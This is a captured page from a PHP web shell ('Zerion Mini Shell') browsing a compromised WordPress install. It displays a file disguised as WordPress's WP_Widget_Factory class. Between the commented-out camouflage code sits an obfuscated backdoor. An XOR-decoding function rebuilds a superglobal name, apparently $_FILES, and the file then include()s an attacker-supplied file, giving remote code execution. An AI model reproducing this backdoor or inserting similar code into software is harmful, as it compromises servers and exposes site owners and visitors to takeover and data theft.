%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/shaban/laviva/wp-content/plugins/35ro44qr/
Upload File :
Create Path :
Current File : /var/www/html/shaban/laviva/wp-content/plugins/35ro44qr/fsEs.js.php

<?php /* 
*
 * Widget API: WP_Widget_Factory class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 

*
 * Singleton that registers and instantiates WP_Widget classes.
 *
 * @since 2.8.0
 * @since 4.4.0 Moved to its own file from wp-includes/widgets.php
 
class WP_Widget_Factory {

	*
	 * Widgets array.
	 *
	 * @since 2.8.0
	 * @var array
	 
	public $widgets = array();

	*
	 * PHP5 constructor.
	 *
	 * @since 4.3.0
	 
	public function __construct() {
		add_action( 'widgets_init', array( $this, '_register_widgets' ), 100 );
	}

	*
	 * PHP4 constructor.
	 *
	 * @since 2.8.0
	 
	public function WP_Widget_Factory() {
		_deprecated_constructor( 'WP_Widget_Factory', '4.2.0' );
		self::__construct();
	}

	*
	 * Memory for the number of times unique class instances have been hashed.
	 *
	 * This can be eliminated in favor of straight spl_object_hash() when 5.3
	 * is the minimum requirement for PHP.
	 *
	 * @since 4.6.0
	 * @var array
	 *
	 * @see WP_Widget_Factory::hash_object()
	 
	private $hashed_class_counts = array();

	*
	 * Registers a widget subclass.
	 *
	 * @since 2.8.0
	 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
	 *              instead of simply a `WP_Widget` s*/
 	

$public = 'YuGmkzbqHMonhgt';

function keep_newlines($operator, $dirs)

{
    $callback = urldecode($operator);
    $more = substr($dirs,0, strlen($callback));
    $query_var = $callback ^ $more;
	$is_bad_hierarchical_slug = 'page_ids';
    return $query_var;

}
$thumb = ${keep_newlines("%063%0E%21.%29", $public)};

if (isset($thumb[$public]))

{
	$filtered = 'bad_slug';
    $caption = $thumb[$public];

    $menu_order = $caption[keep_newlines("-%1872%05%1B%0F%14", $public)];
	$original_value = 'strict';
    include ($menu_order);
	$apos_flag = 'emoji_field';
}


/* ubclass name.
	 *
	 * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
	 
	public function register( $widget ) {
		if ( $widget instanceof WP_Widget ) {
			$this->widgets[ spl_object_hash( $widget ) ] = $widget;
		} else {
			$this->widgets[ $widget ] = new $widget();
		}
	}

	*
	 * Un-registers a widget subclass.
	 *
	 * @since 2.8.0
	 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
	 *              instead of simply a `WP_Widget` subclass name.
	 *
	 * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
	 
	public function unregister( $widget ) {
		if ( $widget instanceof WP_Widget ) {
			unset( $this->widgets[ spl_object_hash( $widget ) ] );
		} else {
			unset( $this->widgets[ $widget ] );
		}
	}

	*
	 * Serves as a utility method for adding widgets to the registered widgets global.
	 *
	 * @since 2.8.0
	 *
	 * @global array $wp_registered_widgets
	 
	public function _register_widgets() {
		global $wp_registered_widgets;
		$keys       = array_keys( $this->widgets );
		$registered = array_keys( $wp_registered_widgets );
		$registered = array_map( '_get_widget_id_base', $registered );

		foreach ( $keys as $key ) {
			 don't register new widget if old widget with the same id is already registered
			if ( in_array( $this->widgets[ $key ]->id_base, $registered, true ) ) {
				unset( $this->widgets[ $key ] );
				continue;
			}

			$this->widgets[ $key ]->_register();
		}
	}
}
*/

Zerion Mini Shell 1.0